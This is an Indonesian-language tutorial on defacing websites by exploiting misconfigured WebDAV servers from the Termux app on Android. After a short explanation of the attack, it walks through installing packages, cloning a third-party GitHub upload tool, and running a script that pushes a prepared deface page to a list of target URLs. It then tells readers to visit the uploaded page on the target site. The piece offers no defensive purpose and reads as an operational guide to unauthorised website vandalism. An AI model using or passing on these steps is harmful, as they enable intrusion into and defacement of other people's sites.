Tutorial Deface Metode WebDav di Termux

di kesempatan kali ini saya akan memberikan Tutorial Deface metode WebDav dengan aplikasi Termux. tapi sebelum kita mulai lebih baik kita kenalan dulu sama apa itu Webdav

Metode "deface WebDav" adalah serangan terhadap suatu situs web yang memanfaatkan kelemahan pada server WebDav yang tidak dikonfigurasi dengan benar. WebDav (Web Distributed Authoring and Versioning) adalah protokol yang memungkinkan pengguna untuk mengakses dan mengelola file di server web melalui internet.

Dalam serangan deface WebDav, penyerang mencari situs web yang menggunakan server WebDav dan memiliki kelemahan dalam konfigurasinya. Kelemahan tersebut sering kali disebabkan oleh pengaturan izin akses yang buruk atau tidak membatasi akses ke direktori tertentu. Dengan memanfaatkan kelemahan ini, penyerang dapat mendapatkan akses ke direktori yang tidak seharusnya diakses oleh publik.

Setelah mendapatkan akses ke direktori tersebut, penyerang dapat mengganti atau memodifikasi file-file yang ada di situs web tersebut. Tujuan utama serangan deface WebDav adalah untuk mengubah tampilan situs web dengan memasukkan konten yang diinginkan oleh penyerang. Hal ini biasanya dilakukan dengan mengganti halaman depan situs web dengan pesan deface atau konten yang mendukung pesan atau agenda tertentu.

Bahan-Bahan yang dibutuhkan.

1. Termux: kalian bisa mendownload aplikasi tersebut di situs resmi Termux
2. Install Package: ketika kalian sudah mendownload aplikasi Termux kalian wajib install Package Termux terlebih dahulu.

install

$ apt update

$ apt upgrade

$ pkg install nano

$ pkg install git

$ git clone https://github.com/MSVerse/cURL

$ ls

$ cd cURL

$ rm -rf index.html

$ ls

ketika semua bahan sudah terinstall, kalian wajib menyiapkan script deface kalian untuk di upload.

untuk script kalian bisa download atau buat sendiri lewat "nano", jika script sudah siap saatnya menjalankan scriptnya.

$ ./cURL.sh namefile.html url.txt

kalian tinggal salin link yang sukses kalian upload, cara aksesnya target.com/namafile.html